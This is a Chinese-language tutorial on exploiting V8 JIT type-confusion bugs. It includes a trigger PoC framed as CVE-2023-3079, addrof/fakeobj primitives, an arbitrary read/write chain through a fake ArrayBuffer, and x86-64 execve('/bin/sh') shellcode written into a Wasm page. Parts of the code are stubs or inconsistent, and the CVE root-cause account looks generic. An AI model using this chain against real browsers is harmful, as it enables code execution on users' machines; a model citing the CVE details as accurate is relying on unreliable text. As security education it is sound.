V8 引擎架构

V8 是 Google Chrome 和 Node.js 使用的 JavaScript 引擎,它的执行架构是分层的:

  1. Ignition 解释器:将 JavaScript 代码编译为字节码并解释执行,启动快但执行慢
  2. TurboFan JIT 编译器:当某个函数被频繁调用(热函数)时,TurboFan 将其编译为高度优化的机器码,执行快但编译耗时
  3. Maglev 编译器(V8 11.4+):介于 Ignition 和 TurboFan 之间的中层编译器

JIT 优化的核心假设是类型稳定——如果一个函数的参数总是同一种类型,编译器可以针对这种类型生成高度特化的机器码,省去运行时的类型检查。但如果这个假设被打破(运行时类型突然变化),优化后的代码就会出错,这就是类型混淆(Type Confusion)漏洞的根源。

JIT 优化与类型反馈

内联缓存(Inline Cache)

V8 使用内联缓存(IC)来记录属性访问的类型信息。例如:

1
2
3
function getX(obj) {
return obj.x;
}

第一次调用时,V8 会查找 obj.x 的偏移量,并把这个偏移量缓存起来。后续调用时,如果 obj 的类型和缓存的一致,直接用缓存的偏移量读取,不需要重新查找。

TurboFan 的优化决策

TurboFan 在编译时会参考 IC 收集的类型反馈,做以下优化:

  • 类型特化:假设参数是特定类型,生成特化代码
  • 边界检查消除:如果已知数组长度足够,消除越界检查
  • 内联:把小函数的代码直接内联到调用处
  • 逃逸分析:如果对象不会逃逸到函数外,分配在栈上而不是堆上
  • 死代码消除:删除不可能执行的分支

关键在于:这些优化都基于类型反馈的假设。如果假设错误,优化后的代码会访问错误的内存偏移,导致类型混淆。

类型混淆的典型触发方式

1. 副作用导致类型变化

1
2
3
4
5
6
7
8
9
10
function confuse(a, b) {
let x = a.length; // 假设 a 是数组,读取 length
b.valueOf = () => {
// 副作用:把 a 变成另一种类型
a.__proto__ = {};
};
// 这里访问 a 的属性,但 a 的类型已经变了
// TurboFan 优化后的代码仍然按原类型访问
return a[x];
}

如果 TurboFan 在优化时假设 a 的类型稳定,但 b.valueOf 的副作用改变了 a 的类型,优化后的代码就会用错误的偏移访问内存。

2. 原型链修改

1
2
3
4
5
6
function foo(obj) {
obj.x; // 触发 IC,记录 obj 的类型
// 修改原型链,改变属性布局
Object.setPrototypeOf(obj, {});
return obj.x; // 优化代码仍按旧布局访问
}

3. 数组类型转换

V8 中数组有不同的元素种类(Elements Kind):

  • PACKED_SMI_ELEMENTS:小整数数组
  • PACKED_DOUBLE_ELEMENTS:浮点数数组
  • PACKED_ELEMENTS:通用对象数组

当数组元素类型变化时(比如往 SMI 数组里塞一个对象),V8 会做数组类型转换(transition)。如果 TurboFan 的优化代码没有正确处理这种转换,就会导致类型混淆。

经典漏洞分析:CVE-2023-3079

CVE-2023-3079 是 Chrome V8 中的一个类型混淆漏洞,在野被利用。漏洞存在于 TurboFan 的 VisitCall 中,当函数调用的目标是一个被内联缓存的 getter 时,类型反馈没有被正确更新。

漏洞原理

漏洞的核心是 Map 稳定性检查的缺失。TurboFan 在优化属性访问时,会插入一个 CheckMaps 节点来验证对象的 Map(类型描述符)是否和假设的一致。如果 CheckMaps 被错误地消除或放置在错误的位置,后续的属性访问就会在错误的类型假设下执行。

具体来说,当一个 getter 调用被内联后,getter 内部的副作用可能改变对象的 Map,但 TurboFan 没有在 getter 返回后重新插入 CheckMaps,导致后续代码使用过时的类型信息。

触发 PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function trigger() {
let obj = {a: 1, b: 2};

// 定义一个 getter,副作用是修改 obj 的结构
Object.defineProperty(obj, 'x', {
get: function() {
// 删除属性,改变 Map
delete obj.b;
return 1;
}
});

// 热函数:TurboFan 会优化它
function foo(o) {
let x = o.x; // getter 调用,副作用改变了 o 的 Map
return o.b; // 优化代码仍按旧 Map 访问 b 的偏移
}

// 预热,收集类型反馈
for (let i = 0; i < 100000; i++) {
foo({a:1, b:2, x:1});
}

// 触发漏洞
foo(obj);
}
trigger();

利用原语:addrof 和 fakeobj

类型混淆的最终目标是获得两个核心原语:

addrof:获取对象的地址

1
2
3
4
5
6
// 利用类型混淆,把一个 JS 对象当作浮点数数组读取
// 对象指针会被解释为浮点数,从而泄露地址
function addrof(obj) {
// 构造类型混淆,让 obj 被当作 double 数组
// 返回 obj 的堆地址
}

fakeobj:在任意地址构造假对象

1
2
3
4
5
6
// 利用类型混淆,把一个浮点数当作对象指针
// 从而在我们控制的内存地址构造一个假的 JS 对象
function fakeobj(addr) {
// 构造类型混淆,让 addr 被解释为对象指针
// 返回一个位于 addr 的假对象
}

有了这两个原语,就可以实现任意读写:

  1. 用 addrof 泄露一个 ArrayBuffer 的地址
  2. 用 fakeobj 在 ArrayBuffer 的 backing_store 位置构造一个假的 ArrayBuffer
  3. 假 ArrayBuffer 的 backing_store 指向任意地址
  4. 通过假 ArrayBuffer 的索引访问,实现任意地址读写

完整利用链

第一步:实现任意读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// 假设已经有了 addrof 和 fakeobj 原语

let buf = new ArrayBuffer(0x1000);
let buf_addr = addrof(buf);

// 构造一个假的 ArrayBuffer,backing_store 指向 0
// ArrayBuffer 的布局:[map][properties][elements][byte_length][backing_store]
let fake_ab = [
0x0, // map (后续设置)
0x0, // properties
0x0, // elements
0x10000n, // byte_length (设大一点)
0x0n, // backing_store = 0,意味着可以从地址 0 开始读写
];

let fake_ab_addr = addrof(fake_ab);
let fake_ab_obj = fakeobj(fake_ab_addr + 0x10); // +0x10 跳过数组头

// 现在 fake_ab_obj 是一个 ArrayBuffer,backing_store = 0
// 用它创建一个 DataView,实现任意读写
let dv = new DataView(fake_ab_obj);

function read64(addr) {
return dv.getBigUint64(Number(addr), true);
}
function write64(addr, val) {
dv.setBigUint64(Number(addr), BigInt(val), true);
}

第二步:覆盖函数指针执行 shellcode

有了任意读写后,需要把控制流转向 shellcode。常见的方法是覆盖 WebAssembly.Module 实例中的函数指针,或者覆盖 JSFunction 的 code 指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// 创建 Wasm 模块,Wasm 的代码页是可执行的
let wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, // magic
0x01, 0x00, 0x00, 0x00, // version
// ... 一个简单的 Wasm 模块,导出一个函数
]);

let module = new WebAssembly.Module(wasm_code);
let instance = new WebAssembly.Instance(module);
let wasm_func = instance.exports.main;

// 泄露 wasm 函数对象的地址
let func_addr = addrof(wasm_func);

// 读取 Wasm 实例的代码页地址(WasmInstanceObject 中有指向可执行内存的指针)
let instance_addr = addrof(instance);
let code_page = read64(instance_addr + 0x??); // 偏移根据 V8 版本确定

// 把 shellcode 写入可执行的 Wasm 代码页
let shellcode = [
// x86-64 Linux execve("/bin/sh", 0, 0)
0x48, 0x31, 0xc0, // xor rax, rax
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, // movabs rbx, 0x68732f2f6e69622f
0x53, // push rbx
0x48, 0x89, 0xe7, // mov rdi, rsp
0x48, 0x31, 0xf6, // xor rsi, rsi
0x48, 0x31, 0xd2, // xor rdx, rdx
0xb0, 0x3b, // mov al, 0x3b (execve)
0x0f, 0x05, // syscall
];

for (let i = 0; i < shellcode.length; i++) {
dv.setUint8(Number(code_page) + i, shellcode[i]);
}

// 调用 wasm 函数,执行 shellcode
wasm_func();

沙箱逃逸

V8 沙箱(V8 Sandbox)是 Chrome 引入的一种缓解机制,它把 V8 堆放在一个固定大小的虚拟内存区域中,所有堆内指针都用 32 位偏移表示,限制了类型混淆的影响范围。

沙箱逃逸需要额外的步骤:

  1. 沙箱内任意读写:类型混淆只能读写沙箱内的内存
  2. 沙箱外指针泄露:找到沙箱边界外的对象指针(如 ArrayBuffer 的 backing_store 可能指向沙箱外)
  3. 沙箱外任意读写:通过控制 backing_store 实现沙箱外读写
  4. 代码执行:覆盖沙箱外的函数指针或利用其他漏洞

V8 沙箱是一个持续演进的缓解机制,每个版本的逃逸方法都不同。研究沙箱逃逸需要深入理解 V8 的内存布局和对象结构。

漏洞挖掘方法

1. Fuzzing

V8 最主流的漏洞挖掘方法是 fuzzing,常用工具:

  • Fuzzilli:Google 开发的 JavaScript 引擎 fuzzer,基于覆盖率引导,专门针对 JIT 优化
  • domato:Google 开发的 DOM/JS 生成器
  • CodeAlchemist:KAIST 开发的 JS 引擎 fuzzer

Fuzzing 的关键是生成能触发 JIT 优化的代码——需要循环执行足够多次来触发编译,同时包含类型变化和副作用。

2. 差异测试(Differential Testing)

在多个 JS 引擎(V8、SpiderMonkey、JavaScriptCore)上运行同一段代码,比较输出差异。如果 V8 的输出和其他引擎不同,可能是优化 bug。

3. 代码审计

阅读 TurboFan 的优化 pass 代码,寻找类型检查缺失的地方。重点关注:

  • CheckMaps 节点的放置位置
  • 副作用后的类型重新验证
  • 数组类型转换的处理
  • 内联后的类型反馈更新

防御机制

机制 作用
V8 Sandbox 限制类型混淆的影响范围在沙箱内
Control-Flow Integrity (CFI) 防止控制流劫持
W^X 内存页不可同时可写可执行
Site Isolation 每个站点独立进程,限制沙箱逃逸后的影响
Maglev 中层编译 减少 TurboFan 的优化范围,降低攻击面

学习路径

  1. 理解 V8 架构:阅读 V8 官方文档,理解 Ignition、TurboFan、Maglev 的关系
  2. 学习 JIT 优化:理解内联缓存、类型特化、逃逸分析等优化技术
  3. 复现经典漏洞:复现 CVE-2018-17463、CVE-2020-16040、CVE-2023-3079 等经典漏洞
  4. 学习利用技术:掌握 addrof/fakeobj、任意读写、Wasm shellcode 执行
  5. 研究沙箱逃逸:阅读 V8 Sandbox 设计文档,研究最新的逃逸方法
  6. 尝试 fuzzing:用 Fuzzilli 自己挖漏洞

参考资源

总结

V8 类型混淆是浏览器漏洞利用中最核心、最有技术含量的方向之一。它的本质是 JIT 编译器的类型假设被运行时副作用打破,导致优化后的代码以错误的类型信息访问内存。

从类型混淆到 addrof/fakeobj 原语,再到任意读写和 shellcode 执行,整个利用链需要对 V8 的对象布局、内存管理、JIT 优化有深入的理解。V8 沙箱的引入使得利用难度进一步提升,但也催生了更多创造性的逃逸技术。

浏览器漏洞利用是一个持续演进的猫鼠游戏——缓解机制不断升级,利用技术也在不断创新。对于安全研究者来说,V8 是一个永远有新东西可挖的金矿。